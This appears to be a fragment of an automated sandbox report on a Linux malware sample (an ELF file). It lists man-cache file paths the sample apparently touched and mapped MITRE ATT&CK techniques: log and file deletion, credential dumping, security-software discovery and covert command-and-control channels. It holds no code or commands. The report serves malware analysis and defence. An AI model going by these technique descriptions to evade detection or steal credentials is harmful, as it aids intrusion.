/var/cache/man/fr.UTF-8/6380

/var/cache/man/fr.UTF-8/index.db.FWAf8D

/var/cache/man/fr/6380

/var/cache/man/fr/index.db.yyOf7C

/var/cache/man/hu/6380

/var/cache/man/hu/index.db.52TQZE

/var/cache/man/id/6380

/var/cache/man/id/index.db.eNusRA

/var/cache/man/index.db.XoTpYE

/var/cache/man/it/6380

/var/cache/man/it/index.db.lS1CvD

/var/cache/man/ja/6380

/var/cache/man/ja/index.db.bcF6MC

/var/cache/man/ko/6380

/var/cache/man/ko/index.db.ZZ9hlE

Linux Analysis Report
XjaYYNxg9D.elf

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre